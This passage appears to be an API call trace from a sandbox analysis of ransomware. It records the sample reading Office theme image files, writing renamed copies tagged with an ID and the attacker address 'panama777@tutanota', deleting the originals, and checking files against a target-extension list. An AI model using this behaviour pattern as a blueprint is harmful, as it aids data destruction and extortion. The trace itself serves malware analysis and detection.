	[0050.513] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.513] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0050.513] SetEndOfFile (hFile=0x178) returned 1
	[0050.514] CloseHandle (hObject=0x178) returned 1
	[0050.514] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.514] SetEndOfFile (hFile=0x20c) returned 1
	[0050.515] CloseHandle (hObject=0x20c) returned 1
	[0050.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.515] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1
	[0050.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.515] lstrlenW (lpString=".doc") returned 4
	[0050.515] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.515] lstrlenW (lpString=".docx") returned 5
	[0050.515] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.515] lstrlenW (lpString=".pdf") returned 4
	[0050.515] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.515] lstrlenW (lpString=".xls") returned 4
	[0050.516] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.516] lstrlenW (lpString=".xlsx") returned 5
	[0050.516] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.516] lstrlenW (lpString=".ppt") returned 4
	[0050.516] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.516] lstrlenW (lpString=".zip") returned 4
	[0050.516] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.516] lstrlenW (lpString=".rar") returned 4
	[0050.516] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.516] lstrlenW (lpString=".bz2") returned 4
	[0050.516] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.516] lstrlenW (lpString=".7z") returned 3
	[0050.516] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.516] lstrlenW (lpString=".dbf") returned 4
	[0050.516] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.516] lstrlenW (lpString=".1cd") returned 4
	[0050.516] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.516] lstrlenW (lpString=".jpg") returned 4
	[0050.516] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.516] lstrlenW (lpString=".doc") returned 4
	[0050.516] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.516] lstrlenW (lpString=".docx") returned 5
	[0050.516] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.516] lstrlenW (lpString=".pdf") returned 4
	[0050.517] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.517] lstrlenW (lpString=".xls") returned 4
	[0050.517] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.517] lstrlenW (lpString=".xlsx") returned 5
	[0050.517] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.517] lstrlenW (lpString=".ppt") returned 4
	[0050.517] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.517] lstrlenW (lpString=".zip") returned 4
	[0050.517] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.517] lstrlenW (lpString=".rar") returned 4
	[0050.517] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.517] lstrlenW (lpString=".bz2") returned 4
	[0050.517] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.517] lstrlenW (lpString=".7z") returned 3
	[0050.517] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.517] lstrlenW (lpString=".dbf") returned 4
	[0050.517] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.517] lstrlenW (lpString=".1cd") returned 4
	[0050.517] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0050.517] lstrlenW (lpString=".jpg") returned 4
	[0050.517] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.517] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0050.518] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0050.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0050.518] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1293) returned 1
	[0050.518] CloseHandle (hObject=0x20c) returned 1
	[0050.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20
	[0050.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0050.518] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.518] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.520] GetLastError () returned 0x0
	[0050.520] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x50d, lpOverlapped=0x0) returned 1
	[0050.521] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x510, lpOverlapped=0x0) returned 1
	[0050.523] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.523] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.523] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.523] CloseHandle (hObject=0x1a4) returned 1
	[0050.523] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.523] SetEndOfFile (hFile=0x20c) returned 1
	[0050.524] CloseHandle (hObject=0x20c) returned 1
	[0050.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.524] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1
	[0050.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.525] lstrlenW (lpString=".doc") returned 4
	[0050.525] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.525] lstrlenW (lpString=".docx") returned 5
	[0050.525] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.525] lstrlenW (lpString=".pdf") returned 4
	[0050.525] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.525] lstrlenW (lpString=".xls") returned 4
	[0050.525] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.525] lstrlenW (lpString=".xlsx") returned 5
	[0050.525] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.525] lstrlenW (lpString=".ppt") returned 4
	[0050.525] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.525] lstrlenW (lpString=".zip") returned 4
	[0050.525] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.525] lstrlenW (lpString=".rar") returned 4
	[0050.525] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.525] lstrlenW (lpString=".bz2") returned 4
	[0050.525] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.525] lstrlenW (lpString=".7z") returned 3
	[0050.525] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.525] lstrlenW (lpString=".dbf") returned 4
	[0050.525] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.526] lstrlenW (lpString=".1cd") returned 4
	[0050.526] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.526] lstrlenW (lpString=".jpg") returned 4
	[0050.526] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.526] lstrlenW (lpString=".doc") returned 4
	[0050.526] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.526] lstrlenW (lpString=".docx") returned 5
	[0050.526] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.526] lstrlenW (lpString=".pdf") returned 4
	[0050.526] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.526] lstrlenW (lpString=".xls") returned 4
	[0050.526] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.526] lstrlenW (lpString=".xlsx") returned 5
	[0050.526] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.526] lstrlenW (lpString=".ppt") returned 4
	[0050.526] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.526] lstrlenW (lpString=".zip") returned 4
	[0050.526] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.526] lstrlenW (lpString=".rar") returned 4
	[0050.526] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.526] lstrlenW (lpString=".bz2") returned 4
	[0050.526] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.526] lstrlenW (lpString=".7z") returned 3
	[0050.526] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.527] lstrlenW (lpString=".dbf") returned 4
	[0050.527] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.527] lstrlenW (lpString=".1cd") returned 4
	[0050.527] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0050.527] lstrlenW (lpString=".jpg") returned 4
	[0050.527] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.527] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0050.527] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0050.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0050.527] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=20575) returned 1
	[0050.527] CloseHandle (hObject=0x20c) returned 1
	[0050.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20
	[0050.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0050.528] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.528] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.528] GetLastError () returned 0x0
	[0050.528] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x505f, lpOverlapped=0x0) returned 1
	[0050.530] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5060, lpOverlapped=0x0) returned 1
	[0050.531] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.531] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0050.531] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.531] CloseHandle (hObject=0x1a4) returned 1
	[0050.531] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.532] SetEndOfFile (hFile=0x20c) returned 1
	[0050.532] CloseHandle (hObject=0x20c) returned 1
	[0050.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.533] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1
	[0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.533] lstrlenW (lpString=".doc") returned 4
	[0050.533] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.533] lstrlenW (lpString=".docx") returned 5
	[0050.533] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.533] lstrlenW (lpString=".pdf") returned 4
	[0050.533] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.533] lstrlenW (lpString=".xls") returned 4
	[0050.533] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.533] lstrlenW (lpString=".xlsx") returned 5
	[0050.533] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.533] lstrlenW (lpString=".ppt") returned 4
	[0050.533] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.533] lstrlenW (lpString=".zip") returned 4
	[0050.533] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.533] lstrlenW (lpString=".rar") returned 4
	[0050.533] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.533] lstrlenW (lpString=".bz2") returned 4
	[0050.534] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.534] lstrlenW (lpString=".7z") returned 3
	[0050.534] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.534] lstrlenW (lpString=".dbf") returned 4
	[0050.534] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.534] lstrlenW (lpString=".1cd") returned 4
	[0050.534] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.534] lstrlenW (lpString=".jpg") returned 4
	[0050.534] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.534] lstrlenW (lpString=".doc") returned 4
	[0050.534] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.534] lstrlenW (lpString=".docx") returned 5
	[0050.534] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.534] lstrlenW (lpString=".pdf") returned 4
	[0050.534] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.534] lstrlenW (lpString=".xls") returned 4
	[0050.534] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.534] lstrlenW (lpString=".xlsx") returned 5
	[0050.534] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.534] lstrlenW (lpString=".ppt") returned 4
	[0050.534] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.534] lstrlenW (lpString=".zip") returned 4
	[0050.534] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.534] lstrlenW (lpString=".rar") returned 4
	[0050.535] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.535] lstrlenW (lpString=".bz2") returned 4
	[0050.535] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.535] lstrlenW (lpString=".7z") returned 3
	[0050.535] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.535] lstrlenW (lpString=".dbf") returned 4
	[0050.535] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.535] lstrlenW (lpString=".1cd") returned 4
	[0050.535] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0050.535] lstrlenW (lpString=".jpg") returned 4
	[0050.535] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.535] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0050.535] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0050.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0050.535] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1287) returned 1
	[0050.536] CloseHandle (hObject=0x20c) returned 1
	[0050.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20
	[0050.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0050.536] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.536] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0051.072] GetLastError () returned 0x0
